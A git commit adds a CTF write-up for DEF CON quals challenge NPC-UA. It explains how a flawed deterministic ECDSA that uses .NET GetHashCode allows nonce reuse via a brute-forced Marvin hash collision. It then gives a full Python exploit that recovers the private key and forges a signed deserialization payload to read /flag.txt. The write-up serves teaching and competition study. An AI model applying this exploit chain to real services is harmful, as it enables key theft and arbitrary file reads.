add defcon quals post

This commit is contained in:
xenia 2024-06-05 01:01:39 -04:00
parent cd7a48538a
commit fd5d9068a6
2 changed files with 592 additions and 0 deletions

View File

@ -0,0 +1,592 @@
# defcon quals writeup: NPC-UA
earlier this month i got to play defcon quals with shellphish. it was overall a good time, but we
unfortunately (likely) didn't qualify for finals, which ends a 20 year long streak of shellphish
qualifying. this is very sad, but on the upside i get another year to cook my tooling (that i have
not worked on for like months at this point) and won't have to make the tough choice of whether to
spend my time playing CTF or like, actually being at defcon, so it's not all bad
NPC-UA is a .NET challenge that mimics the industry standard (apparently) OPC-UA protocol for
communicating with industrial control systems. the high level overview of the exploit is combining
an ECDSA nonce reuse vulnerability with a deserialization primitive to read out the flag file
## a bit on tooling
for .NET stuff i tend to use (jetbrains) dotPeek, which has the unfortunate downside of being
windows only (and closed source, boo...) but during the CTF i also was trying out
[AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy) and because i don't really want to
boot up my windows VM right now this writeup is going to use that. it's a bit less polished than
dotPeek but perfectly capable
## challenge files
- the original challenge file: [ic_server.tar.gz](https://git.lain.faith/haskal/writeups/raw/branch/main/2024/defcon-quals/ic_server.tar.gz)
- challenge source: <https://github.com/Nautilus-Institute/quals-2024/tree/main/npc-ua>
we have 2 main files of interest: `npcua.nautilus.dll` and `crypto.nautilus.dll`. we can load up all
the dependencies and the 2 main files into ilspy (at once, so it can resolve the external calls).
crypto is smaller so we'll look at it first
### running the server
the server needs a few files and it's not obvious how to generate them so here's what you need
```bash
openssl ecparam -name secp256k1 -genkey -noout -out key.pem
openssl ec -in key.pem -pubout -out public.pem
echo "flag{TESTFLAG}" > flag.txt
```
now the provided docker file and run_on_socket.sh script can be used
## `crypto.nautilus`
here's everything in this module
![all the classes of importance defined in crypto.nautilus.dll: Crypto and
DeterministicECDSA](crypto.nautilus.png)
### deterministic ECDSA
first of all, for a primer on elliptic curve cryptography and ECDSA see
[this writeup](/posts/2023-09-19-csaw-quals-2023-post#elliptic-curve-crypto). yes, that post was
made before i had a blog platform with mathML available. and i haven't gone back and changed it to
use proper math now either. sorry,,
here's the code from ILSpy for `DeterministicECDSA`:
```cs
internal class DeterministicECDSA : IDsaKCalculator
{
private readonly HMac hMac;
public readonly byte[] K;
public readonly byte[] V;
private BigInteger n;
public virtual bool IsDeterministic => true;
public DeterministicECDSA(IDigest digest, uint HashCode)
{
hMac = new HMac(digest);
V = new byte[hMac.GetMacSize()];
K = new byte[hMac.GetMacSize()];
n = BigInteger.Zero;
byte[] bytes = BitConverter.GetBytes(HashCode);
Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length);
}
public virtual void Init(BigInteger n, SecureRandom random)
{
throw new InvalidOperationException("Operation not supported");
}
public void Init(BigInteger n, BigInteger d, byte[] message)
{
this.n = n;
byte[] bytes = BitConverter.GetBytes((uint)d.GetHashCode());
Buffer.BlockCopy(bytes, 0, K, 0, bytes.Length);
}
public virtual BigInteger NextK()
{
byte[] array = new byte[BigIntegers.GetUnsignedByteLength(n)];
BigInteger bigInteger;
while (true)
{
int num;
for (int i = 0; i < array.Length; i += num)
{
hMac.BlockUpdate(V, 0, V.Length);
hMac.DoFinal(V, 0);
num = Math.Min(array.Length - i, V.Length);
Array.Copy(V, 0, array, i, num);
}
bigInteger = BitsToInt(array);
if (bigInteger.SignValue > 0 && bigInteger.CompareTo(n) < 0)
{
break;
}
hMac.BlockUpdate(V, 0, V.Length);
hMac.Update(0);
hMac.DoFinal(K, 0);
hMac.Init(new KeyParameter(K));
hMac.BlockUpdate(V, 0, V.Length);
hMac.DoFinal(V, 0);
}
return bigInteger;
}
private BigInteger BitsToInt(byte[] t)
{
BigInteger bigInteger = new BigInteger(1, t);
if (t.Length * 8 > n.BitLength)
{
bigInteger = bigInteger.ShiftRight(t.Length * 8 - n.BitLength);
}
return bigInteger;
}
}
```
this implements [deterministic ECDSA (RFC 6979)](https://datatracker.ietf.org/doc/html/rfc6979),
which is a scheme for computing ECDSA signatures without a source of cryptographic randomness
available. in this case, the challenge is emulating an industrial control system type of scenario
where having a good TRNG might not be guaranteed. RFC 6979 specifies how to generate the $k$
values needed for the signatures, which are normally required to be random. If different messages
are signed with the same $k$ and the same key, it becomes possible to recover the key using some
simple modular arithmetic.
In RFC 6979, the procedure to generate $k$ goes like this
1. Hash the message $m$ to produce $h_1 = H(m)$
2. Initialize $V = {01\ 01\ 01\ \dots\ 01}_{16}$ and $K = {00\ 00\ 00\ \dots\ 00}_{16}$
3. Compute $K = \operatorname{HMAC}_K(V \parallel 00_{16} \parallel x \parallel h_1)$, where $x$ is
the private key
4. Do more HMAC computations to arrive at the final result $k$, this part is not important
The only input to this scheme that varies is the message hash, $h_1$. If you know $m$ and therefore
$h_1$, you still cannot guess $k$ because it involves HMAC computations including the private key
$x$. However, any $k$ value calculated is unique per unique $h_1$.
With this knowledge let's look back at the constructor of the class
```cs
public DeterministicECDSA(IDigest digest, uint HashCode)
{
// ...
byte[] bytes = BitConverter.GetBytes(HashCode);
Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length);
}
```
The value used for $V$ is a 32 bit hashcode. Normally, you'd use a cryptographic hash like SHA-2.
The procedure here also departs from the RFC in some other ways. So let's look at where `HashCode`
comes from
```cs
public class Crypto
{
// ...
public string SignString(string data)
{
uint hashCode = (uint)data.GetHashCode();
ECPrivateKeyParameters parameters = (ECPrivateKeyParameters)keyPair.Private;
DeterministicECDSA kCalculator = new DeterministicECDSA(new Sha256Digest(), hashCode);
// ...
}
// ...
}
```
The `hashCode` is computed using the regular C# builtin `GetHashCode` function. Since it's only 32
bits and non-cryptographic, it should be possible to generate a collision and then use this to
generate two signatures with identical $k$ values. This can be used to recover the private key.
### brute forcing
the official organizer solution has a convoluted Z3 script to compute a hash collision, but during
the CTF we chose the much simpler approach of brute force, which also worked. the following code
isn't the original script we developed because that one is a huge mess and kind of awful. instead,
here's a much shorter and cleaned up solution
.NET uses a hashing function called "marvin32", and the implementation is located in the private
`System.Marvin` module, so we will need to use reflection to be able to invoke it. additionally,
since it uses a weird ref struct thing as a parameter (i don't know .NET and a lot of this is kind
of annoying magic to me) so we have to use a delegate to call it via reflection
```fsharp
open System
open System.Runtime.InteropServices
let marvin = "".GetType().Assembly.GetType("System.Marvin")
(* obtain the MethodInfo for the 2-argument ComputeHash32 method *)
(* this is kind of hax, since the method we want happens to be the first one *)
(* i couldn't figure out another way to do this because of the weird ref struct fuckery *)
let computehash32 = marvin.GetMethods()[0]
type ComputeHash32 = delegate of ReadOnlySpan<byte> * uint64 -> int
let computehash32_delegate = computehash32.CreateDelegate<ComputeHash32>()
let seeded_hashcode (seed : uint64) (str : string) : int =
let bytes = MemoryMarshal.AsBytes(str.AsSpan()) in
computehash32_delegate.Invoke(bytes, seed)
```
now we're ready to brute force. this simply iterates over numbers and stores the hashcode of the
stringified versions of those until a collision is found, at which point the colliding inputs are
printed
```fsharp
let seed = Environment.GetEnvironmentVariable("SEED") |> UInt64.Parse
let rec search (candidates : Map<int, string>) (i : int) : unit =
let j = i.ToString() in
let hashcode = seeded_hashcode seed ("\"" + j + "\"") in
match candidates.TryFind hashcode with
| None -> search (candidates.Add(hashcode, j)) (i + 1)
| Some value -> printfn "%s" value; printfn "%s" j
in
search (Map<int, string> []) 0
```
Microsoft OCaml is weird. i'm not sure i like it a huge amount, but i'd rather be writing this than
directly writing Microsoft Java
let's try it out
```bash
nix-shell --pure -p dotnet-sdk --run 'env SEED=1337 dotnet run'
```
```
8654
49821
```
## `npcua.nautilus`
this is the main module. i'm going to kind of gloss over reversing the code because at this point
this blog post has been sitting in my drafts for literally an entire month. if you do the reversing
you'll find that the server supports network commands to read and write values, which can be special
server variables such as `"npc://variable/environment"` or reflected .NET values such as, well
conveniently, `"npc://system/Marvin/DefaultSeed"`. it also contains an import and export function
which serializes and deserializes payloads which are signed using the functions we covered in
`crypto.nautilus`. so the exploit strategy is to read out the current marvin hash seed, generate a
collision, use that to forge a signature on an arbitrary deserialization payload, and hopefully get
the flag
## the full exploit
starting with some boilerplate
```python
import ast
import binascii
from dataclasses import dataclass
from enum import IntEnum
import hashlib
import json
import os
import struct
import subprocess
from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature
from cryptography.hazmat.primitives.serialization import load_pem_public_key, load_pem_private_key
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.exceptions import InvalidSignature
import nclib
def p32(x):
return struct.pack("<I", x)
def u32(x):
return struct.unpack("<I", x)[0]
```
these classes and functions convert between OPC-UA style messages and a convenient python
data representation. there isn't like, a lot of interesting content here. the network protocol is
nearly unrelated to the actual exploit, but we still need the code to be able to talk to the service
```python
class AttributeId(IntEnum):
NodeId = 1
NodeClass = 2
DisplayName = 4
Description = 5
Value = 13
class ServiceId(IntEnum):
READ_SERVICE = 629
WRITE_SERVICE = 630
EXPORT_SERVICE = 631
IMPORT_SERVICE = 632
def make_msg(type_, data):
assert len(type_) == 3
return type_ + b"\x00" + p32(len(data)+8) + data
def make_hello(endpoint: bytes):
num = p32(0)
serialized = num*5 + p32(len(endpoint)) + endpoint
return make_msg(b"HEL", serialized)
@dataclass
class Message:
type_: bytes
reserved: bytes
data: bytes
def read_msg(r) -> Message :
type_ = r.readexactly(3)
reserved = r.readexactly(1)
length = r.readexactly(4)
remaining_length = u32(length) - 8
data = r.readexactly(remaining_length)
return Message(type_, reserved, data)
def make_sec_msg_header():
return (
p32(0) # item
+ p32(0) # length1
+ p32(0) # length2
+ p32(0) # num1
+ p32(0) # num2
+ p32(0) # num3
)
def make_msg_msg(service_id, json_):
serialized = (
make_sec_msg_header()
+ p32(0) # num1
+ p32(0) # num2
+ p32(0) # num3
+ p32(0) # num4
+ p32(service_id)
+ json.dumps(json_).encode()
)
return make_msg(b"MSG", serialized)
@dataclass
class SecMessage:
send_sec: bool
policy_uri: bytes
pubkey: bytes
rest: bytes
def parse_sec_msg(data):
send_sec = bool(u32(data[0:4]))
policy_uri_len = u32(data[4:8])
policy_uri = data[8:8+policy_uri_len]
i = 8 + policy_uri_len
pubkey_length = u32(data[i:i+4]); i += 4
pubkey = data[i:i+pubkey_length]; i += pubkey_length
# next 3 dwords are zeros, I think
rest = data[i + 3*4:]
return SecMessage(
send_sec=send_sec,
policy_uri=policy_uri,
pubkey=pubkey,
rest=rest,
)
@dataclass
class ServiceResponse:
data: dict
sec_msg: SecMessage
def read_service_response(r):
msg = read_msg(r)
sec_msg = parse_sec_msg(msg.data)
response_data = json.loads(sec_msg.rest.decode())
return ServiceResponse(response_data, sec_msg)
DEFAULT_HDR = {
"authToken": "",
"timestamp": 0,
"requestHandle": 0,
"returnDiagnostics": 1,
"auditEntryId": "foo",
"timeoutHint": 100,
}
```
this function creates a request to read out the marvin seed using the read functionality. using the
URL `"npc://system/Marvin/DefaultSeed"` results in the service doing the reflection operations to
read out a field from an arbitrary class in `System.Private.CoreLib`. this still works even if the
class and field are private
```python
def get_marvin_seed():
r.send(make_msg_msg(ServiceId.READ_SERVICE, {
"requestHeader": DEFAULT_HDR,
"nodesToRead": [{
# Crafts string "System.Private.CoreLib/System.foo/bar"
# which will call assembly = Assembly.Load("System.Private.CoreLib)
# then type = assembly.GetType("System.foo")
# then property = type.GetProperty("bar")
# then return property.GetValue(null, null).ToString()
# since we asked for AttributeId.Value
"nodeId": "npc://system/Marvin/DefaultSeed",
"attributeId": AttributeId.Value,
}]
}))
response = read_service_response(r)
seed = int(ast.literal_eval(response.data["results"][0]["value"]["data"]))
return seed
```
this implements the functionality to write a given value to the service and observe an ECDSA
signature for that value. the signature is a simple ASN.1 object with the two parts $r$ and $s$ and
it can be decoded using the cryptography package into python ints
```python
def decode_signature(b64):
r, s = decode_dss_signature(binascii.a2b_base64(b64))
return r, s
def signature_oracle(data):
r.send(make_msg_msg(ServiceId.WRITE_SERVICE, {
"requestHeader": DEFAULT_HDR,
"nodesToWrite": [{
"nodeId": "npc://variable/environment",
"attributeId": AttributeId.Value,
"value": data,
}]
}))
response = read_service_response(r)
if response.data["results"][0]["statusCode"] != 0:
raise Exception("failed to write!")
r.send(make_msg_msg(ServiceId.READ_SERVICE, {
"requestHeader": DEFAULT_HDR,
"nodesToRead": [{
"nodeId": "npc://variable/environment",
"attributeId": AttributeId.Value,
}]
}))
response = read_service_response(r)
sig = response.data["results"][0]["value"]["signature"]
return decode_signature(sig)
```
assuming we've cracked the private key, this function allows running an import operation with an
arbitrary payload and creating a forged ECDSA signature for it
```python
DEFAULT_CURVE = ec.SECP256K1()
def run_payload(recovered_d, payload):
key = ec.derive_private_key(recovered_d, DEFAULT_CURVE)
sig = key.sign(payload.encode('utf-16le'), ec.ECDSA(hashes.SHA256()))
sig = binascii.b2a_base64(sig).decode()
r.send(make_msg_msg(ServiceId.IMPORT_SERVICE, {
"requestHeader": DEFAULT_HDR,
"nodesToImport": [{
"data": payload,
"signature": sig,
}]
}))
resp = read_service_response(r)
print(resp.data)
```
this is a utility function to run our previous .NET program and generate some HashCode-colliding
strings provided a given seed
```python
def get_seed_colliders(seed):
return subprocess.check_output(
["dotnet", "run"], env={"SEED": str(seed), **os.environ}) \
.decode('utf-8').strip().split("\n")
```
finally, this function implements the nonce-reuse attack on ECDSA. we can factor out the common $k$
that was used from both signatures and then use that to recover the private key $d$. all operations
here are modulo the order $n$ of the curve group. $m_1$ and $m_2$ are the two messages, and
$r_1, s_1$ and $r_2, s_2$ are the two observed signatures made with the $k$ reuse. see also: [ECDSA
primer](/posts/2023-09-19-csaw-quals-2023-post#elliptic-curve-crypto)
```python
# secp256k1
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
def recover_d(m1, r1, s1, m2, r2, s2):
global n
z1 = int.from_bytes(hashlib.sha256(m1).digest(), 'big')
z2 = int.from_bytes(hashlib.sha256(m2).digest(), 'big')
k = ((z2 - z1) * pow(s2 - s1, -1, n)) % n
d = ((s1 * k - z1) * pow(r1, -1, n)) % n
return d
```
now we put it all together. first, connect to the service, obtain the seed, generate collisions, and
recover the private key
```python
if __name__ == "__main__":
r = nclib.Netcat("localhost:8081")
print("connected")
marvin_seed = get_marvin_seed()
print("seed", marvin_seed)
m1, m2 = get_seed_colliders(marvin_seed)
print(f"m1: {m1!r}, m2: {m2!r}")
r1, s1 = signature_oracle(m1)
print("message 1 sig", r1, s1)
r2, s2 = signature_oracle(m2)
print("message 2 sig", r2, s2)
d = recover_d(f'"{m1}"'.encode('utf-16le'), r1, s1, f'"{m2}"'.encode('utf-16le'), r2, s2)
print("cracked the private key", d)
```
finally, generate and forge a signature for the payload. here, it turns out that the class
(representing an F# closure) `NPCUA+loadPublicKey` of `npcua.nautilus` can be inserted into the
payload to instantiate it with an arbitrary file path instead of the usual public key path. this
will result in the public key contents being overwritten with the contents of the given file, and
this can be read out on a subsequent read request
```python
payload = {
"_flags": "subtype",
"subtype": {
"Case": "NamedType",
"Name": "NPCUA+loadPublicKey@435",
"Assembly": {
"Name": "npcua.nautilus",
"Version": "1.0.0.0",
"Culture": "neutral",
"PublicKeyToken": ""
}
},
"instance": {
"pubkeypath": "/flag.txt"
}
}
payload = json.dumps(payload)
print(payload)
run_payload(d, payload)
```
now the next read request will contain the flag where the public key data should be
```python
r.send(make_msg_msg(ServiceId.READ_SERVICE, {
"requestHeader": DEFAULT_HDR,
"nodesToRead": [{
"nodeId": "npc://variable/environment",
"attributeId": AttributeId.Value,
}]
}))
response = read_service_response(r)
print(response.sec_msg.pubkey)
```
let's try it out
```bash
nix-shell --pure -p dotnet-sdk -p python312 \
-p python312Packages.nclib \
-p python312Packages.cryptography \
--run 'python3 exploit.py'
```
```
connected
seed 10102463054732467792
m1: '115125', m2: '129970'
message 1 sig 36543756359397497722035046970971111541497695984569986288499787519776152928406 97404277344851007915084942883128486005554294925527719094904206023362105536268
message 2 sig 36543756359397497722035046970971111541497695984569986288499787519776152928406 36947863524362341205378268624583843448888073187358738954544173689935462272643
cracked the private key 30774635644485029908090334147150559547480731425600142680743337346815506314317
{"_flags": "subtype", "subtype": {"Case": "NamedType", "Name": "NPCUA+loadPublicKey@435", "Assembly": {"Name": "npcua.nautilus", "Version": "1.0.0.0", "Culture": "neutral", "PublicKeyToken": ""}}, "instance": {"pubkeypath": "/flag.txt"}}
{'responseHeader': {'timestamp': 133619595308606557, 'requestHandle': 0, 'serviceResult': 0, 'serviceDiagnostics': None, 'stringTable': []}, 'error': 'The operation succeeded.', 'diagnosticInfos': []}
b'flag{TESTFLAG}\n'
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB